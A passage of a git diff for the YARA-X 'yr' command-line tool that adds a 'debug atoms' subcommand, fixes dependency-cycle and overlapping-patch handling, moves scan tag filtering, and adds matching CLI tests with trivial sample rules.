config.check.metadata.iter() { + if matches!(meta_config.ty, MetaValueType::String) + && let Some(regexp) = &meta_config.regexp + { + metadata_regexps.insert( + identifier.as_str(), + regex::bytes::Regex::new(regexp)?, + ); + } + } + let state = w.walk( CheckState::new(), // Initialization @@ -112,29 +128,34 @@ pub fn exec_check(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { match config.ty { MetaValueType::String => { - let message = if let Some(regexp) = &config.regexp { - // Make sure that the regexp is valid. - let _ = regex::bytes::Regex::new(regexp)?; - format!("`{identifier}` must be a string that matches `/{regexp}/`") - } else { - format!("`{identifier}` must be a string") - }; - linter = linter.validator( - |meta| { - match (&meta.value, &config.regexp) { - (MetaValue::String((s, _)), Some(regexp)) => { - regex::Regex::new(regexp).unwrap().is_match(s) - } - (MetaValue::Bytes((s, _)), Some(regexp)) => { - regex::bytes::Regex::new(regexp).unwrap().is_match(s) + if let (Some(regexp), Some(re)) = ( + &config.regexp, + metadata_regexps.get(identifier.as_str()), + ) { + linter = linter.validator( + move |meta| match &meta.value { + MetaValue::String((s, _)) => { + re.is_match(s.as_bytes()) } - (MetaValue::String(_), None) => true, - (MetaValue::Bytes(_), None) => true, + MetaValue::Bytes((s, _)) => re.is_match(s), _ => false, - } - }, - message, - ); + }, + format!( + "`{identifier}` must be a string that matches `/{regexp}/`" + ), + ); + } else { + linter = linter.validator( + |meta| { + matches!( + meta.value, + MetaValue::String(_) + | MetaValue::Bytes(_) + ) + }, + format!("`{identifier}` must be a string"), + ); + } } MetaValueType::Integer => { linter = linter.validator( diff --git a/cli/src/commands/debug.rs b/cli/src/commands/debug.rs index 83eedfbf3..3c84bdff5 100644 --- a/cli/src/commands/debug.rs +++ b/cli/src/commands/debug.rs @@ -17,6 +17,17 @@ use crate::commands::{ use crate::config::Config; use crate::help; +pub fn atoms() -> Command { + super::command("atoms") + .about("Print final atoms selected for a YARA source file") + .arg( + arg!() + .help("Path to YARA source file") + .value_parser(value_parser!(PathBuf)), + ) + .arg(arg!(--json).help("Print output in JSON format")) +} + pub fn ast() -> Command { super::command("ast") .about("Print Abstract Syntax Tree (AST) for a YARA source file") @@ -88,6 +99,7 @@ pub fn debug() -> Command { .subcommand(ir()) .subcommand(wasm()) .subcommand(modules()) + .subcommand(atoms()) } pub fn exec_debug(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { @@ -97,6 +109,7 @@ pub fn exec_debug(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { Some(("ir", args)) => exec_ir(args, config), Some(("wasm", args)) => exec_wasm(args, config), Some(("modules", args)) => exec_modules(args, config), + Some(("atoms", args)) => exec_atoms(args, config), _ => unreachable!(), } } @@ -169,3 +182,130 @@ fn exec_modules(_args: &ArgMatches, _config: &Config) -> anyhow::Result<()> { } Ok(()) } + +fn is_consecutive(a: &[u8], b: &[u8]) -> bool { + if a.len() != b.len() || a.is_empty() { + return false; + } + let mut carry = 1u16; + for (byte_a, byte_b) in a.iter().rev().zip(b.iter().rev()) { + let sum = *byte_a as u16 + carry; + if (sum as u8) != *byte_b { + return false; + } + carry = sum >> 8; + } + carry == 0 +} + +fn is_printable(atom: &[u8]) -> bool { + !atom.is_empty() && atom.iter().all(|b| (0x20..=0x7E).contains(b)) +} + +fn print_atom_hex(atom: &[u8]) { + for byte in atom { + print!("{byte:02X}"); + } +} + +fn print_range(start: &[u8], end: &[u8]) { + print!(" "); + print_atom_hex(start); + if start != end { + print!(".."); + print_atom_hex(end); + } + if is_printable(start) && is_printable(end) { + let s = std::str::from_utf8(start).unwrap(); + if start == end { + print!(" ({s})"); + } else { + let e = std::str::from_utf8(end).unwrap(); + print!(" ({s}..{e})"); + } + } + println!(); +} + +#[derive(serde::Serialize)] +struct PatternAtomsJson<'a> { + rule: &'a str, + pattern: &'a str, + atoms: Vec, +} + +fn exec_atoms(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { + let rules_path = args.get_one::("RULES_PATH").unwrap(); + let json = args.get_flag("json"); + + let src = fs::read(rules_path) + .with_context(|| format!("can not read `{}`", rules_path.display()))?; + + let src = SourceCode::from(src.as_slice()) + .with_origin(rules_path.as_os_str().to_str().unwrap()); + + let mut compiler = create_compiler(None, args, config)?; + + compiler.add_source(src)?; + + let rules = compiler.build(); + + if json { + let mut output = Vec::new(); + + for rule in rules.iter() { + for pattern in rule.patterns().include_private(true) { + let atoms: Vec = pattern + .atoms() + .map(|atom| { + atom.as_slice() + .iter() + .map(|b| format!("{b:02X}")) + .collect() + }) + .collect(); + + output.push(PatternAtomsJson { + rule: rule.identifier(), + pattern: pattern.identifier(), + atoms, + }); + } + } + + println!("{}", serde_json::to_string_pretty(&output)?); + } else { + for rule in rules.iter() { + println!("rule {}", rule.identifier()); + + for pattern in rule.patterns().include_private(true) { + println!(" {}", pattern.identifier()); + + let mut current_range: Option<(&[u8], &[u8])> = None; + + for atom in pattern.atoms() { + let atom_slice = atom.as_slice(); + match current_range { + None => { + current_range = Some((atom_slice, atom_slice)); + } + Some((start, end)) => { + if is_consecutive(end, atom_slice) { + current_range = Some((start, atom_slice)); + } else { + print_range(start, end); + current_range = Some((atom_slice, atom_slice)); + } + } + } + } + + if let Some((start, end)) = current_range { + print_range(start, end); + } + } + } + } + + Ok(()) +} diff --git a/cli/src/commands/deps.rs b/cli/src/commands/deps.rs index 761e5a8ea..3deee8375 100644 --- a/cli/src/commands/deps.rs +++ b/cli/src/commands/deps.rs @@ -75,10 +75,14 @@ pub fn exec_deps(args: &ArgMatches) -> anyhow::Result<()> { let mut dep_map: BTreeMap<&str, Deps> = BTreeMap::new(); for rule in ast.rules() { - if dep_map.insert(rule.identifier.name, Deps::default()).is_some() { + if dep_map.contains_key(rule.identifier.name) { bail!("Duplicate rule \"{}\" found", rule.identifier.name); - }; - find_dependencies(&rule.condition, rule.identifier.name, &mut dep_map); + } + // Compute dependencies before inserting the rule into `dep_map` so + // self-references (or rules named after a module) are not recorded as + // cyclic dependencies on the rule itself. + let deps = find_dependencies(&rule.condition, &dep_map); + dep_map.insert(rule.identifier.name, deps); } let dep_tree = generate_dep_tree(&dep_map, &requested_rules); @@ -92,25 +96,27 @@ pub fn exec_deps(args: &ArgMatches) -> anyhow::Result<()> { Ok(()) } -fn generate_dep_tree( - dep_map: &BTreeMap<&str, Deps>, - requested_rules: &Vec<&str>, +fn generate_dep_tree<'a>( + dep_map: &BTreeMap<&'a str, Deps<'a>>, + requested_rules: &[&str], ) -> Vec { let mut nodes: Vec = Vec::new(); for (rule, deps) in dep_map.iter() { if requested_rules.is_empty() || requested_rules.contains(rule) { - nodes.push(tree_for_rule(rule, deps, dep_map)); + let mut ancestors = HashSet::from([*rule]); + nodes.push(tree_for_rule(rule, deps, dep_map, &mut ancestors)); } } nodes } -fn tree_for_rule( - rule: &str, - deps: &Deps, - dep_map: &BTreeMap<&str, Deps>, +fn tree_for_rule<'a>( + rule: &'a str, + deps: &Deps<'a>, + dep_map: &BTreeMap<&'a str, Deps<'a>>, + ancestors: &mut HashSet<&'a str>, ) -> Tree { let mut nodes: Vec = Vec::new(); @@ -120,10 +126,11 @@ fn tree_for_rule( for dep in deps.rules.iter() { match dep_map.get(dep) { - Some(new_deps) => { - nodes.push(tree_for_rule(dep, new_deps, dep_map)); + Some(new_deps) if ancestors.insert(dep) => { + nodes.push(tree_for_rule(dep, new_deps, dep_map, ancestors)); + ancestors.remove(dep); } - None => { + _ => { nodes.push(Node(dep.to_string(), vec![])); } } @@ -134,9 +141,9 @@ fn tree_for_rule( fn find_dependencies<'a>( expr: &'a Expr<'a>, - rule_name: &'a str, - dep_map: &mut BTreeMap<&'a str, Deps<'a>>, -) { + dep_map: &BTreeMap<&'a str, Deps<'a>>, +) -> Deps<'a> { + let mut deps = Deps::default(); // Contains the variables that are currently defined. This acts // as a stack where the variables defined by the innermost `for` // or `with` statements are at top of the array. @@ -178,17 +185,13 @@ fn find_dependencies<'a>( if dep_map.contains_key(ident.name) { // This is an identifier that matches a previously // seen rule. - dep_map.entry(rule_name).and_modify(|v| { - v.rules.insert(ident.name); - }); + deps.rules.insert(ident.name); } else if yara_x::mods::module_names() .any(|module| module == ident.name) { // This is a known module or is not in the list of // variable identifier to be ignored. - dep_map.entry(rule_name).and_modify(|v| { - v.modules.insert(ident.name); - }); + deps.modules.insert(ident.name); } } } @@ -214,4 +217,6 @@ fn find_dependencies<'a>( } } } + + deps } diff --git a/cli/src/commands/dump.rs b/cli/src/commands/dump.rs index 5e615c165..8516e2606 100644 --- a/cli/src/commands/dump.rs +++ b/cli/src/commands/dump.rs @@ -8,7 +8,7 @@ use std::path::PathBuf; use strum_macros::Display; use yara_x::mods::*; -use yara_x_proto::json::Serializer as JsonSerializer; +use yara_x_proto::json::{Format as JsonFormat, Serializer as JsonSerializer}; use yara_x_proto::yaml::Serializer as YamlSerializer; use crate::help; @@ -24,6 +24,7 @@ enum SupportedModules { Vba, Crx, Dex, + Zip, } #[derive(Debug, Clone, ValueEnum)] @@ -127,6 +128,9 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !requested_modules.contains(&&SupportedModules::Vba) { module_output.vba = MessageField::none() } + if !requested_modules.contains(&&SupportedModules::Zip) { + module_output.zip = MessageField::none() + } } else { // Module was not specified, only show those that produced meaningful // results, the rest are cleared out. @@ -159,6 +163,9 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !module_output.vba.has_macros() { module_output.vba = MessageField::none() } + if !module_output.zip.is_zip() { + module_output.zip = MessageField::none() + } } match output_format { @@ -166,6 +173,7 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { let mut serializer = JsonSerializer::new(stdout()); serializer .with_colors(use_color) + .with_format(JsonFormat::Legacy) .serialize(module_output.as_ref())?; println!(); } diff --git a/cli/src/commands/fix.rs b/cli/src/commands/fix.rs index 407010918..428eaada8 100644 --- a/cli/src/commands/fix.rs +++ b/cli/src/commands/fix.rs @@ -1,9 +1,6 @@ use std::borrow::Cow; use std::collections::HashMap; -use std::collections::hash_map::Entry; use std::fs; -use std::fs::File; -use std::io::Write; use std::path::PathBuf; use std::sync::atomic::{AtomicUsize, Ordering}; @@ -184,56 +181,95 @@ pub fn exec_fix_warnings( let (rules, _) = compile_rules(rules_path, args, config)?; - let mut patches_per_origin = HashMap::new(); - let mut num_warnings = 0; - let mut num_warnings_with_patch = 0; - let mut counted; - - // Create a map where keys are file paths (stored in patch.origin), and - // values are a list of patches that must be applied to that file. Patches - // are ordered by their starting positions in the file. - for warning in rules.warnings() { - num_warnings += 1; - counted = false; + let mut patches_per_origin: HashMap> = + HashMap::new(); + let mut warning_total_patches = Vec::new(); + + // Group patches by file path (`patch.origin()`), keeping track of which + // warning produced each patch. + for (warning_idx, warning) in rules.warnings().iter().enumerate() { + let mut count = 0; for patch in warning.patches() { - if !counted { - num_warnings_with_patch += 1; - counted = true; - } - match patches_per_origin.entry(patch.origin().unwrap()) { - Entry::Occupied(mut entry) => { - let patches: &mut Vec = entry.get_mut(); - patches.push(patch); - patches.sort_by_key(|patch| patch.span().start()); - } - Entry::Vacant(entry) => { - entry.insert(vec![patch]); - } - } + let Some(origin) = patch.origin() else { + continue; + }; + count += 1; + patches_per_origin + .entry(origin) + .or_default() + .push((warning_idx, patch)); } + warning_total_patches.push(count); } - for (origin, patches) in &patches_per_origin { + let num_warnings = warning_total_patches.len(); + let mut warning_applied_patches = vec![0usize; num_warnings]; + let mut files_modified = 0usize; + + for (origin, patches) in &mut patches_per_origin { + // Order patches by start offset, preferring wider (outer) spans first + // when two patches start at the same offset, and grouping identical + // replacements together. + patches.sort_by(|(_, a), (_, b)| { + a.span() + .start() + .cmp(&b.span().start()) + .then_with(|| b.span().end().cmp(&a.span().end())) + .then_with(|| a.replacement().cmp(b.replacement())) + }); + let input = fs::read(origin)?; - let mut output = File::create(origin)?; + let mut output = Vec::with_capacity(input.len()); let mut input_pos = 0; - for patch in patches { + let mut last_applied = None; + + for (warning_idx, patch) in patches.iter() { let warning_span = patch.span(); - // Write all bytes from the current position, to the offset where - // the replaced text starts. - output.write_all(&input[input_pos..warning_span.start()])?; - // Write the replacement. - output.write_all(patch.replacement().as_bytes())?; - // Now the current position is the offset where the replaced text - // ends. + + // Deduplicate identical patches (for instance, when the same file + // is included across multiple namespaces). + if let Some((ref prev_span, prev_repl)) = last_applied + && warning_span == *prev_span + { + if patch.replacement() == prev_repl { + warning_applied_patches[*warning_idx] += 1; + } + continue; + } + + // Skip inner/overlapping patches whose enclosing span was already + // rewritten in this pass, as well as any out-of-bounds spans. + if warning_span.start() < input_pos + || warning_span.start() > warning_span.end() + || warning_span.end() > input.len() + { + continue; + } + + // Append all bytes from the current position to the start of the + // replaced span, followed by the replacement text. + output.extend_from_slice(&input[input_pos..warning_span.start()]); + output.extend_from_slice(patch.replacement().as_bytes()); input_pos = warning_span.end(); + last_applied = Some((warning_span, patch.replacement())); + warning_applied_patches[*warning_idx] += 1; + } + + if last_applied.is_some() { + output.extend_from_slice(&input[input_pos..]); + fs::write(origin, &output)?; + files_modified += 1; } - output.write_all(&input[input_pos..])?; } + let num_warnings_fixed = warning_total_patches + .iter() + .zip(&warning_applied_patches) + .filter(|&(total, applied)| *total > 0 && total == applied) + .count(); + println!( - "{num_warnings_with_patch} out of {num_warnings} warning(s) fixed, {} file(s) modified", - patches_per_origin.len() + "{num_warnings_fixed} out of {num_warnings} warning(s) fixed, {files_modified} file(s) modified", ); Ok(()) diff --git a/cli/src/commands/scan.rs b/cli/src/commands/scan.rs index fa1589cfc..f2b34b122 100644 --- a/cli/src/commands/scan.rs +++ b/cli/src/commands/scan.rs @@ -156,7 +156,6 @@ struct OutputOptions { include_meta: bool, include_tags: bool, include_strings: Option, - only_tag: Option, } impl From<&ArgMatches> for OutputOptions { @@ -167,7 +166,6 @@ impl From<&ArgMatches> for OutputOptions { include_meta: args.get_flag("print-meta"), include_tags: args.get_flag("print-tags"), include_strings: args.get_one::("print-strings").cloned(), - only_tag: args.get_one::("tag").cloned(), } } } @@ -189,6 +187,7 @@ pub fn exec_scan(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { let recursive = args.get_one::("recursive"); let no_mmap = args.get_flag("no-mmap"); let fast_scan = args.get_flag("fast-scan"); + let only_tag = args.get_one::("tag"); let max_matches_per_pattern = args.get_one::("max-matches-per-pattern"); @@ -385,9 +384,14 @@ pub fn exec_scan(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { let scan_results = scan_results?; let mut wanted_rules = match args.get_flag("negate") { true => Box::new(scan_results.non_matching_rules()) - as Box>, + as Box>, false => Box::new(scan_results.matching_rules()), - }; + } + .filter(|rule| { + only_tag.is_none_or(|only_tag| { + rule.tags().any(|tag| tag.identifier() == only_tag) + }) + }); state.num_scanned_files.fetch_add(1, Ordering::Relaxed); @@ -627,14 +631,9 @@ mod output_handler { fn rules_to_json( output_options: &OutputOptions, - scan_results: &mut dyn ExactSizeIterator, + scan_results: &mut dyn Iterator, ) -> Vec { scan_results - .filter(move |rule| { - output_options.only_tag.as_ref().is_none_or(|only_tag| { - rule.tags().any(|tag| tag.identifier() == only_tag) - }) - }) .map(move |rule| RuleJson { identifier: rule.identifier().to_string(), namespace: output_options @@ -715,7 +714,7 @@ mod output_handler { fn on_file_scanned( &self, file_path: &Path, - scan_results: &mut dyn ExactSizeIterator, + scan_results: &mut dyn Iterator, output: &Sender, ) -> bool; /// Called when the last file has been scanned. @@ -736,31 +735,28 @@ mod output_handler { fn on_file_scanned( &self, file_path: &Path, - scan_results: &mut dyn ExactSizeIterator, + scan_results: &mut dyn Iterator, output: &Sender, ) -> bool { if self.output_options.count_only { - output - .send(Message::Info(format!( - "{}: {}", - file_path.display(), - scan_results.len() - ))) - .unwrap(); - return true; + let count = scan_results.count(); + + if count > 0 { + output + .send(Message::Info(format!( + "{}: {}", + file_path.display(), + count + ))) + .unwrap(); + } + + return count > 0; } let mut result = false; for matching_rule in scan_results { - if let Some(ref only_tag) = self.output_options.only_tag - && !matching_rule - .tags() - .any(|tag| tag.identifier() == only_tag) - { - continue; - } - result = true; let mut msg = if self.output_options.include_namespace { @@ -782,7 +778,7 @@ mod output_handler { msg.push_str(" ["); for (pos, tag) in tags.with_position() { msg.push_str(tag.identifier()); - if !matches!(pos, itertools::Position::Last) { + if !pos.is_last { msg.push(','); } } @@ -813,7 +809,7 @@ mod output_handler { v.escape_ascii() )), }; - if !matches!(pos, itertools::Position::Last) { + if !pos.is_last { msg.push(','); } } @@ -878,10 +874,7 @@ mod output_handler { match_str.push_str( format!("{b:02x}").as_str(), ); - if !matches!( - pos, - itertools::Position::Last - ) { + if !pos.is_last { match_str.push(' '); } } @@ -928,25 +921,36 @@ mod output_handler { fn on_file_scanned( &self, file_path: &Path, - scan_results: &mut dyn ExactSizeIterator, + scan_results: &mut dyn Iterator, output: &Sender, ) -> bool { let path = file_path.to_str().unwrap(); if self.output_options.count_only { - let json = serde_json::to_string(&JsonCountOutput { - count: scan_results.len(), - path, - }) - .unwrap(); + let count = scan_results.count(); - output.send(Message::Info(json)).unwrap(); - return true; + if count > 0 { + output + .send(Message::Info( + serde_json::to_string(&JsonCountOutput { + count, + path, + }) + .unwrap(), + )) + .unwrap(); + } + + return count > 0; } let matching_rules = rules_to_json(&self.output_options, scan_results); + if matching_rules.is_empty() { + return false; + } + let line = serde_json::to_string(&JsonOutput { path, rules: matching_rules.as_slice(), @@ -955,8 +959,7 @@ mod output_handler { output.send(Message::Info(line)).unwrap(); - // Return `false` if `matching_rules` is empty. - !matching_rules.is_empty() + true } fn on_done(&self, _output: &Sender) { @@ -1059,9 +1062,15 @@ mod output_handler { fn on_file_scanned( &self, file_path: &Path, - scan_results: &mut dyn ExactSizeIterator, + scan_results: &mut dyn Iterator, _output: &Sender, ) -> bool { + let mut matching_rules = scan_results.peekable(); + + if matching_rules.peek().is_none() { + return false; + } + let path = dunce::canonicalize(file_path) .ok() .as_ref() @@ -1070,75 +1079,65 @@ mod output_handler { .unwrap_or_default(); // prepare the increment *outside* the critical section - let matching_rules = scan_results - .filter(|rule| { - self.output_options.only_tag.as_ref().is_none_or( - |only_tag| { - rule.tags().any(|tag| tag.identifier() == only_tag) - }, - ) - }) - .map(|rule| { - let meta = self.output_options.include_meta.then(|| { - // Group metadata by key to handle duplicate keys. - let mut grouped: HashMap< - String, - Vec, - > = HashMap::new(); - - for (meta_key, meta_val) in rule.metadata() { - let key = meta_key.to_owned(); - let val = serde_json::to_value(meta_val).expect( - "Derived Serialize impl should never fail", - ); - grouped.entry(key).or_default().push(val); - } + let matching_rules = matching_rules.map(|rule| { + let meta = self.output_options.include_meta.then(|| { + // Group metadata by key to handle duplicate keys. + let mut grouped: HashMap> = + HashMap::new(); + + for (meta_key, meta_val) in rule.metadata() { + let key = meta_key.to_owned(); + let val = serde_json::to_value(meta_val).expect( + "Derived Serialize impl should never fail", + ); + grouped.entry(key).or_default().push(val); + } - // Single values stay as-is, multiple values become arrays. - grouped - .into_iter() - .map(|(k, mut v)| { - let val = if v.len() == 1 { - v.pop().unwrap() - } else { - serde_json::Value::Array(v) - }; - (k, val) - }) - .collect::>() - }); + // Single values stay as-is, multiple values become arrays. + grouped + .into_iter() + .map(|(k, mut v)| { + let val = if v.len() == 1 { + v.pop().unwrap() + } else { + serde_json::Value::Array(v) + }; + (k, val) + }) + .collect::>() + }); + + let file = path.clone(); - let file = path.clone(); + let tags = self.output_options.include_tags.then(|| { + rule.tags() + .map(|t| t.identifier().to_string()) + .collect::>() + }); - let tags = self.output_options.include_tags.then(|| { - rule.tags() - .map(|t| t.identifier().to_string()) - .collect::>() + let strings = + self.output_options.include_strings.map(|strings_limit| { + patterns_to_string_jsons( + rule.patterns(), + strings_limit, + ) }); - let strings = self.output_options.include_strings.map( - |strings_limit| { - patterns_to_string_jsons( - rule.patterns(), - strings_limit, - ) - }, - ); - - MatchJson { - rule: rule.identifier().to_string(), - meta, - file, - tags, - strings, - } - }); + MatchJson { + rule: rule.identifier().to_string(), + meta, + file, + tags, + strings, + } + }); { let mut output = self.output_buffer.lock().unwrap(); output.extend(matching_rules); - !output.is_empty() } + + true } fn on_done(&self, output: &Sender) { diff --git a/cli/src/help.rs b/cli/src/help.rs index a6e31e622..d6dce2ffc 100644 --- a/cli/src/help.rs +++ b/cli/src/help.rs @@ -193,8 +193,9 @@ The default value is automatically determined based on the number of CPU cores." pub const SCAN_LIST_LONG_HELP: &str = r#"Indicate that TARGET_PATH is a file containing the paths to be scanned - must be a text file containing one path per line. The paths must -be either absolute paths, or relative to the current directory."#; + must be a text file containing one path per line, or `-` to read +paths from standard input until EOF. The paths must be either absolute paths, +or relative to the current directory."#; pub const SCAN_LONG_HELP: &str = r#"Scan a file or directory diff --git a/cli/src/main.rs b/cli/src/main.rs index 3c7fe115f..ba9d7b0dc 100644 --- a/cli/src/main.rs +++ b/cli/src/main.rs @@ -35,9 +35,6 @@ fn main() -> anyhow::Result<()> { println!("could not enable ANSI support: {err}") } - #[cfg(feature = "logging")] - env_logger::init(); - // If stdout is not a tty (for example, because it was redirected to a // file) turn off colors. This way you can redirect the output to a file // without ANSI escape codes messing up the file content. diff --git a/cli/src/tests/check.rs b/cli/src/tests/check.rs index e8dcf8e59..1e8329984 100644 --- a/cli/src/tests/check.rs +++ b/cli/src/tests/check.rs @@ -262,3 +262,73 @@ fn check_reports_all_errors() { )) .stderr(predicate::str::contains("rule name does not match regex")); } + +#[test] +fn check_metadata_raw_byte_and_invalid_regexp() { + let temp_dir = TempDir::new().unwrap(); + let config_file = temp_dir.child("config.toml"); + let yar_file = temp_dir.child("test.yar"); + + // `(?-u)^\xff` is valid in `regex::bytes::Regex` (raw byte escape) but + // rejected by `regex::Regex::new`. It must not panic when checking a rule + // whose metadata value is a valid UTF-8 `MetaValue::String`. + config_file + .write_str( + r#" + [check.metadata.raw] + type = "string" + regexp = '(?-u)^\xff' + "#, + ) + .unwrap(); + + yar_file + .write_str( + r#"rule utf8_meta { + meta: + raw = "ascii" + condition: + true + } + rule bytes_meta { + meta: + raw = "\xffok" + condition: + true + }"#, + ) + .unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("--config") + .arg(config_file.path()) + .arg("check") + .arg(yar_file.path()) + .assert() + .code(2) + .stderr(predicate::str::contains( + "warning[invalid_metadata]: metadata `raw` is not valid", + )); + + // Invalid regex syntax in `[check.metadata.*]` must fail cleanly with exit + // code 1 instead of panicking or exiting 0. + config_file + .write_str( + r#" + [check.metadata.broken] + type = "string" + regexp = "[unclosed" + "#, + ) + .unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("--config") + .arg(config_file.path()) + .arg("check") + .arg(yar_file.path()) + .assert() + .failure() + .code(1) + .stderr(predicate::str::contains("error: regex parse error")); +} diff --git a/cli/src/tests/debug.rs b/cli/src/tests/debug.rs index 71d665009..15015de4c 100644 --- a/cli/src/tests/debug.rs +++ b/cli/src/tests/debug.rs @@ -40,3 +40,87 @@ fn wasm() { panic!("`yr debug wasm` didn't create .wasm file") } } + +#[test] +fn atoms() { + let temp_dir = TempDir::new().unwrap(); + let input_file = temp_dir.child("rule.yar"); + + input_file + .write_str( + r#" +rule test { + strings: + $a = "ABCD" + $b = { 01 02 03 04 } + $c = { 30 ( 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 ) } + + condition: + any of them +} +"#, + ) + .unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("debug") + .arg("atoms") + .arg(input_file.path()) + .assert() + .success() + .stdout( + "\ +rule test + $a + 41424344 (ABCD) + $b + 01020304 + $c + 3030..3039 (00..09) +", + ); + + Command::new(cargo_bin!("yr")) + .arg("debug") + .arg("atoms") + .arg("--json") + .arg(input_file.path()) + .assert() + .success() + .stdout( + "\ +[ + { + \"rule\": \"test\", + \"pattern\": \"$a\", + \"atoms\": [ + \"41424344\" + ] + }, + { + \"rule\": \"test\", + \"pattern\": \"$b\", + \"atoms\": [ + \"01020304\" + ] + }, + { + \"rule\": \"test\", + \"pattern\": \"$c\", + \"atoms\": [ + \"3030\", + \"3031\", + \"3032\", + \"3033\", + \"3034\", + \"3035\", + \"3036\", + \"3037\", + \"3038\", + \"3039\" + ] + } +] +", + ); +} diff --git a/cli/src/tests/deps.rs b/cli/src/tests/deps.rs index b34417868..48dab34af 100644 --- a/cli/src/tests/deps.rs +++ b/cli/src/tests/deps.rs @@ -426,3 +426,66 @@ fn field_access_hiding_ident() { ) .success(); } + +#[test] +fn self_referential_rule() { + let temp_dir = TempDir::new().unwrap(); + let input_file = temp_dir.child("rule.yar"); + + input_file.write_str("rule a { condition: a }").unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("deps") + .arg(input_file.path()) + .assert() + .stdout( + r#" a + +"#, + ) + .success(); +} + +#[test] +fn rule_named_after_module() { + let temp_dir = TempDir::new().unwrap(); + let input_file = temp_dir.child("rule.yar"); + + input_file.write_str("rule pe { condition: pe.is_dll() }").unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("deps") + .arg(input_file.path()) + .assert() + .stdout( + r#" pe + └─ mod: pe + +"#, + ) + .success(); +} + +#[test] +fn mutually_referencing_rules() { + let temp_dir = TempDir::new().unwrap(); + let input_file = temp_dir.child("rule.yar"); + + input_file + .write_str("rule a { condition: b } rule b { condition: a }") + .unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("deps") + .arg(input_file.path()) + .assert() + .stdout( + r#" a + + b + └─ a + +"#, + ) + .success(); +} diff --git a/cli/src/tests/fix.rs b/cli/src/tests/fix.rs index d3ce9aa72..8ea762018 100644 --- a/cli/src/tests/fix.rs +++ b/cli/src/tests/fix.rs @@ -44,3 +44,140 @@ rule test { "#, ); } + +#[test] +fn fix_warnings_nested_overlapping() { + let temp_dir = TempDir::new().unwrap(); + let input_file = temp_dir.child("nested.yar"); + + // Both rules contain nested fixable warnings: + // - `r1` has `math.in_range(pe.number_of_sections, 0, 1) == 1` where the + // outer `BooleanIntegerComparison` span starts before the inner + // `DeprecatedField` span (`start_outer < start_inner`). + // - `r2` has `pe.is_dll() == 1 == 1` where the outer and inner + // `BooleanIntegerComparison` spans start at the exact same byte offset + // (`start_outer == start_inner`). + input_file + .write_str( + r#"import "math" +import "pe" + +rule r1 { + condition: + math.in_range(pe.number_of_sections, 0, 1) == 1 +} + +rule r2 { + condition: + pe.is_dll() == 1 == 1 +} +"#, + ) + .unwrap(); + + // First pass applies the two outer `BooleanIntegerComparison` patches + // without panicking or truncating the file. + Command::new(cargo_bin!("yr")) + .arg("fix") + .arg("warnings") + .arg(input_file.path()) + .assert() + .stdout(predicate::str::contains( + "2 out of 4 warning(s) fixed, 1 file(s) modified", + )) + .success(); + + input_file.assert( + r#"import "math" +import "pe" + +rule r1 { + condition: + math.in_range(pe.number_of_sections, 0, 1) +} + +rule r2 { + condition: + pe.is_dll() == 1 +} +"#, + ); + + // Second pass fixes the two remaining inner warnings. + Command::new(cargo_bin!("yr")) + .arg("fix") + .arg("warnings") + .arg(input_file.path()) + .assert() + .stdout(predicate::str::contains( + "2 out of 2 warning(s) fixed, 1 file(s) modified", + )) + .success(); + + input_file.assert( + r#"import "math" +import "pe" + +rule r1 { + condition: + math.in_range(pe.sections.len(), 0, 1) +} + +rule r2 { + condition: + pe.is_dll() +} +"#, + ); +} + +#[test] +fn fix_warnings_shared_include() { + let temp_dir = TempDir::new().unwrap(); + let shared_file = temp_dir.child("shared.yar"); + let ns1_file = temp_dir.child("ns1.yar"); + let ns2_file = temp_dir.child("ns2.yar"); + + shared_file + .write_str( + r#" +rule shared { + strings: + $a = "dummy" + condition: + 0 of them +} +"#, + ) + .unwrap(); + + ns1_file.write_str("include \"shared.yar\"\n").unwrap(); + ns2_file.write_str("include \"shared.yar\"\n").unwrap(); + + let ns1_arg = format!("ns1:{}", ns1_file.path().display()); + let ns2_arg = format!("ns2:{}", ns2_file.path().display()); + + Command::new(cargo_bin!("yr")) + .arg("fix") + .arg("warnings") + .arg("--include-dir") + .arg(temp_dir.path()) + .arg(ns1_arg) + .arg(ns2_arg) + .assert() + .stdout(predicate::str::contains( + "2 out of 2 warning(s) fixed, 1 file(s) modified", + )) + .success(); + + shared_file.assert( + r#" +rule shared { + strings: + $a = "dummy" + condition: + none of them +} +"#, + ); +} diff --git a/cli/src/tests/scan.rs b/cli/src/tests/scan.rs index d01ef8f05..cde05a884 100644 --- a/cli/src/tests/scan.rs +++ b/cli/src/tests/scan.rs @@ -32,6 +32,21 @@ fn negate() { .stdout(""); } +#[test] +fn scan_list_from_stdin() { + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--count") + .arg("--scan-list") + .arg("--threads=1") + .arg("src/tests/testdata/foo.yar") + .arg("-") + .write_stdin("src/tests/testdata/dummy.file\n") + .assert() + .success() + .stdout("src/tests/testdata/dummy.file: 1\n"); +} + #[test] fn filter_by_tag() { Command::new(cargo_bin!("yr")) @@ -51,6 +66,76 @@ fn filter_by_tag() { .assert() .success() .stdout(predicate::str::contains("foo src/tests/testdata/dummy.file")); + + let temp_dir = TempDir::new().unwrap(); + let rules_file = temp_dir.child("rules.yar"); + rules_file + .write_str( + r#" + rule rule_a : tag_a { condition: true } + rule rule_b : tag_b { condition: true } + "#, + ) + .unwrap(); + + // NDJSON: only rule_a should be returned when filtering by tag_a. + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=ndjson") + .arg("--tag=tag_a") + .arg(rules_file.path()) + .arg("src/tests/testdata/dummy.file") + .assert() + .success() + .stdout("{\"path\":\"src/tests/testdata/dummy.file\",\"rules\":[{\"identifier\":\"rule_a\"}]}\n"); + + // NDJSON: nothing should be returned when filtering by a non-matching tag. + Command::new(cargo_bin!("yr")) + .arg("scan") + 